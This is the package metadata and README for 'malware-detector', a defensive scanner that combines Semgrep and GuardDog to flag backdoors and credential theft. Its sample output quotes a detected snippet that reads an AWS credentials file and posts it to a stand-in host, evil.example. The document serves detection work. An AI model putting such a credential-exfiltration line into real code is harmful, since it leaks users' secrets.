Metadata-Version: 2.5
Name: malware-detector-py
Version: 0.1.0
Summary: Multi-language malware detector that orchestrates AST/taint and supply-chain engines into one report.
Project-URL: Homepage, https://benzid-wael.github.io/malware-detector/
Project-URL: Documentation, https://benzid-wael.github.io/malware-detector/
Project-URL: Source, https://github.com/benzid-wael/malware-detector
Project-URL: Issues, https://github.com/benzid-wael/malware-detector/issues
Project-URL: Funding, https://github.com/sponsors/benzid-wael
Author: Wael BEN ZID EL GUEBSI
License-Expression: MIT
Keywords: malware,security,semgrep,static-analysis,supply-chain
Requires-Python: <3.14,>=3.10
Requires-Dist: guarddog<4,>=3.0
Requires-Dist: semgrep==1.121.0
Requires-Dist: setuptools<81
Description-Content-Type: text/markdown

# malware-detector

**Catch malicious code before it ships.** One command scans your JavaScript, TypeScript,
Python and PHP for backdoors, credential theft and supply-chain attacks. Runs locally, works
offline, and fits in a git hook.

[![CI](https://github.com/benzid-wael/malware-detector/actions/workflows/ci.yml/badge.svg)](https://github.com/benzid-wael/malware-detector/actions/workflows/ci.yml)
[![PyPI](https://img.shields.io/pypi/v/malware-detector-py?include_prereleases)](https://pypi.org/project/malware-detector-py/)
[![Python](https://img.shields.io/badge/python-3.10–3.13-blue)](https://benzid-wael.github.io/malware-detector/guide/getting-started)
[![License: MIT](https://img.shields.io/badge/license-MIT-green)](LICENSE)
[![Sponsor](https://img.shields.io/badge/sponsor-❤-ea4aaa?logo=githubsponsors)](https://github.com/sponsors/benzid-wael)

📖 **[Read the user guide →](https://benzid-wael.github.io/malware-detector/)**

```console
$ malware-detector scan . --explain
malware-detector: CRITICAL — 2 finding(s) in .

  [CRITICAL] scripts/sync.py:4  py-env-exfiltration  (semgrep)
      Environment / credential data flows to a network sink.
      | requests.post("https://evil.example/c", data={"creds": secret})
  [MEDIUM] scripts/sync.py:3  sensitive-credential-file-access  (semgrep)
      Reference to a credential / secret-bearing file path (possible credential harvesting).
      | secret = open("/home/user/.aws/credentials").read()

Scanned 42 files (Python 30 · JavaScript 12) with semgrep + heuristics in 2.4s.
```

## Why

- **Finds intent, not just bugs.** Taint rules follow secrets, cookies and request input into
  `eval`, shells and the network, where malware actually shows itself.
- **Several engines, one report.** It combines Semgrep, GuardDog and (optionally) malcontent.
  On real-world malware the combination catches **91%** of samples, more than any single
  engine ([benchmark](https://benzid-wael.github.io/malware-detector/reference/benchmark)).
- **Private by design.** No account, no upload, no API key. Works air-gapped via Docker.
- **Fits your workflow.** `--staged` for pre-commit, SARIF for GitHub code scanning, JSON
  for scripts and stable exit codes for any CI.

## Quick start

```sh
uv tool install malware-detector-py     # or: pipx install malware-detector-py  (Python 3.10–3.13)

malware-detector scan .                 # scan your code
malware-detector deps ./some-package    # vet an npm / PyPI package before trusting it
malware-detector scan --staged          # in a pre-commit hook
malware-detector scan . --sarif > out.sarif
```

**Exit codes:** `0` clean · `1` findings (at/above `--fail-on`) · `2` usage error · `3`
engine error.

### As a pre-commit hook

```yaml
repos:
  - repo: https://github.com/benzid-wael/malware-detector
    rev: v0.1.0
    hooks:
      - id: malware-detector
```

### In Docker (offline / CI)

```sh
docker run --rm --network none -v "$PWD:/scan:ro" ghcr.io/benzid-wael/malware-detector scan .
```

More in the guide: [CI recipes](https://benzid-wael.github.io/malware-detector/guide/integrations/ci) ·
[suppressing findings](https://benzid-wael.github.io/malware-detector/guide/suppressions) ·
[rule catalogue](https://benzid-wael.github.io/malware-detector/reference/rules) ·
[FAQ](https://benzid-wael.github.io/malware-detector/guide/faq).

## Development

```sh
make install      # uv sync: .venv from uv.lock + dev tools
make check        # format check + lint + type-check + tests
make docs         # serve the documentation site locally
```

See [docs/installation.md](docs/installation.md) for the dependency model and install
gotchas, and [docs/releasing.md](docs/releasing.md) for the release process.

## Support the project

malware-detector is free and maintained in spare time. If it helps you, please
[**sponsor it on GitHub**](https://github.com/sponsors/benzid-wael) ❤. Sponsorship funds new
detection rules, engine upgrades and faster fixes.
[More ways to help →](https://benzid-wael.github.io/malware-detector/support)

## License

[MIT](LICENSE)
